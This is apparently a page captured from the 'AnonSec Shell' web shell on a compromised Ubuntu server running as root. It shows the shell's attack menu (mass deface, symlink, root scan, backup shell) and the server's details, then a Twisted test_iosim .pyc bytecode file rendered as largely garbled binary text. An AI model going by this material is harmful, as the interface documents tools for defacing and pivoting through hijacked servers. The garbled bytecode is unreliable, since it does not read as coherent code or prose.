AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/twisted/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/twisted/test/__pycache__/test_iosim.cpython-310.pyc
o

�b�"�@s�dZddlmZddlmZddlmZddlmZm	Z	ddl
mZGdd�de�Zee�Gd	d
�d
��Z
Gdd�de�ZGd
d�de�ZdS)z"
Tests for L{twisted.test.iosim}.
�)�implementer)�
IPushProducer)�Protocol)�
FakeTransport�connect)�TestCasec@�(eZdZdZdd�Zdd�Zdd�ZdS)	�FakeTransportTestsz%
    Tests for L{FakeTransport}.
    cCsHtt�d�}tt�d�}|�|jt�|�|jt�|�|j|j�dS)ze
        Each L{FakeTransport} receives a serial number that uniquely identifies
        it.
        TFN)r�object�assertIsInstance�serial�int�assertNotEqual)�self�a�b�r�9/usr/lib/python3/dist-packages/twisted/test/test_iosim.py�test_connectionSerials
z(FakeTransportTests.test_connectionSerialcCs<tt�d�}|�d�|�gd��|�d�|j�d�dS)zl
        L{FakeTransport.writeSequence} will write a sequence of L{bytes} to the
        transport.
        F�a)�b�c�d�sabcdN)rr
�write�
writeSequence�assertEqual�join�stream�rrrrr�test_writeSequence!s
z%FakeTransportTests.test_writeSequencecCs@tt�d�}|�d�|��|�d�|�d�|j�d�dS)z�
        L{FakeTransport.write} will accept writes after transport was closed,
        but the data will be silently discarded.
        FsbeforesafterrN)rr
r�loseConnectionrrrrrrr�test_writeAfterClose-s


z'FakeTransportTests.test_writeAfterCloseN)�__name__�
__module__�__qualname__�__doc__rr r"rrrrr	s
r	c@s,eZdZdZdZdd�Zdd�Zdd�Zd	S)
�StrictPushProducerz�
    An L{IPushProducer} implementation which produces nothing but enforces
    preconditions on its state transition methods.
    �runningcCs|jdkr	td��d|_dS)N�stoppedz)Cannot stop already-stopped IPushProducer��_state�
ValueError�rrrr�
stopProducingCs

z StrictPushProducer.stopProducingcC�&|jdkrtd|j�d���d|_dS)Nr(z
Cannot pause � IPushProducer�pausedr*r-rrr�pauseProducingH�

z!StrictPushProducer.pauseProducingcCr/)Nr1zCannot resume r0r(r*r-rrr�resumeProducingMr3z"StrictPushProducer.resumeProducingN)r#r$r%r&r+r.r2r4rrrrr':sr'c@s�eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd�Zd d!�Zd"d#�Zd$d%�Zd&d'�Zd(S))�StrictPushProducerTestsz*
    Tests for L{StrictPushProducer}.
    cCst�S)zp
        @return: A new L{StrictPushProducer} which has not been through any state
            changes.
        )r'r-rrr�_initialXsz StrictPushProducerTests._initialcC�t�}|��|S)z@
        @return: A new, stopped L{StrictPushProducer}.
        )r'r.�r�producerrrr�_stopped_�z StrictPushProducerTests._stoppedcCr7)z?
        @return: A new, paused L{StrictPushProducer}.
        )r'r2r8rrr�_pausedgr;zStrictPushProducerTests._pausedcCst�}|��|��|S)zY
        @return: A new L{StrictPushProducer} which has been paused and resumed.
        )r'r2r4r8rrr�_resumedosz StrictPushProducerTests._resumedcC�|�|jd�dS)z�
        Assert that the given producer is in the stopped state.

        @param producer: The producer to verify.
        @type producer: L{StrictPushProducer}
        r)N�rr+r8rrr�
assertStoppedx�z%StrictPushProducerTests.assertStoppedcCr>)z�
        Assert that the given producer is in the paused state.

        @param producer: The producer to verify.
        @type producer: L{StrictPushProducer}
        r1Nr?r8rrr�assertPaused�rAz$StrictPushProducerTests.assertPausedcCr>)z�
        Assert that the given producer is in the running state.

        @param producer: The producer to verify.
        @type producer: L{StrictPushProducer}
        r(Nr?r8rrr�
assertRunning�rAz%StrictPushProducerTests.assertRunningcC�|�t|��j�dS)zz
        L{StrictPushProducer.stopProducing} raises L{ValueError} if called when
        the producer is stopped.
        N)�assertRaisesr,r:r.r-rrr�test_stopThenStop��z)StrictPushProducerTests.test_stopThenStopcCrD)z{
        L{StrictPushProducer.pauseProducing} raises L{ValueError} if called when
        the producer is stopped.
        N)rEr,r:r2r-rrr�test_stopThenPause�rGz*StrictPushProducerTests.test_stopThenPausecCrD)z|
        L{StrictPushProducer.resumeProducing} raises L{ValueError} if called when
        the producer is stopped.
        N)rEr,r:r4r-rrr�test_stopThenResume�rGz+StrictPushProducerTests.test_stopThenResumecC�|��}|��|�|�dS)zn
        L{StrictPushProducer} is stopped if C{stopProducing} is called on a paused
        producer.
        N)r<r.r@r8rrr�test_pauseThenStop��z*StrictPushProducerTests.test_pauseThenStopcC�|��}|�t|j�dS)zs
        L{StrictPushProducer.pauseProducing} raises L{ValueError} if called on a
        paused producer.
        N)r<rEr,r2r8rrr�test_pauseThenPause��z+StrictPushProducerTests.test_pauseThenPausecCrJ)zp
        L{StrictPushProducer} is resumed if C{resumeProducing} is called on a
        paused producer.
        N)r<r4rCr8rrr�test_pauseThenResume�rLz,StrictPushProducerTests.test_pauseThenResumecCrJ)zo
        L{StrictPushProducer} is stopped if C{stopProducing} is called on a
        resumed producer.
        N)r=r.r@r8rrr�test_resumeThenStop�rLz+StrictPushProducerTests.test_resumeThenStopcCrJ)zo
        L{StrictPushProducer} is paused if C{pauseProducing} is called on a
        resumed producer.
        N)r=r2rBr8rrr�test_resumeThenPause�rLz,StrictPushProducerTests.test_resumeThenPausecCrM)zu
        L{StrictPushProducer.resumeProducing} raises L{ValueError} if called on a
        resumed producer.
        N)r=rEr,r4r8rrr�test_resumeThenResume�rOz-StrictPushProducerTests.test_resumeThenResumecCrJ)zn
        L{StrictPushProducer} is stopped if C{stopProducing} is called in the
        initial state.
        N)r6r.r@r8rrr�	test_stop�rLz!StrictPushProducerTests.test_stopcCrJ)zn
        L{StrictPushProducer} is paused if C{pauseProducing} is called in the
        initial state.
        N)r6r2rBr8rrr�
test_pause�rLz"StrictPushProducerTests.test_pausecCrM)zz
        L{StrictPushProducer} raises L{ValueError} if C{resumeProducing} is called
        in the initial state.
        N)r6rEr,r4r8rrr�test_resume�rOz#StrictPushProducerTests.test_resumeN)r#r$r%r&r6r:r<r=r@rBrCrFrHrIrKrNrPrQrRrSrTrUrVrrrrr5Ss*										r5c@r)	�IOPumpTestsz
    Tests for L{IOPump}.
    c	Csrt�}t|dd�}t�}t|dd�}t||||dd�}t�}||d�|}|j|dd�|��|�d|j�dS)	a�
        Connect a couple protocol/transport pairs to an L{IOPump} and then pump
        it.  Verify that a streaming producer registered with one of the
        transports does not receive invalid L{IPushProducer} method calls and
        ends in the right state.

        @param mode: C{u"server"} to test a producer registered with the
            server transport.  C{u"client"} to test a producer registered with
            the client transport.
        T)�isServerF)�greet)�server�client)�	streamingr(N)rrrr'�registerProducer�pumprr+)	r�mode�serverProto�serverTransport�clientProto�clientTransportr^r9�victimrrr�_testStreamingProducer�s(���z"IOPumpTests._testStreamingProducercC�|jdd�dS)z�
        L{IOPump.pump} does not call C{resumeProducing} on a L{IPushProducer}
        (stream producer) registered with the server transport.
        rZ�r_N�rer-rrr�test_serverStreamingProducer�z(IOPumpTests.test_serverStreamingProducercCrf)z�
        L{IOPump.pump} does not call C{resumeProducing} on a L{IPushProducer}
        (stream producer) registered with the client transport.
        r[rgNrhr-rrr�test_clientStreamingProducer&rjz(IOPumpTests.test_clientStreamingProducerN)r#r$r%r&rerirkrrrrrW�s
#rWN)r&�zope.interfacer�twisted.internet.interfacesr�twisted.internet.protocolr�twisted.test.iosimrr�twisted.trial.unittestrr	r'r5rWrrrr�<module>s)%

Anon7 - 2022
AnonSec Team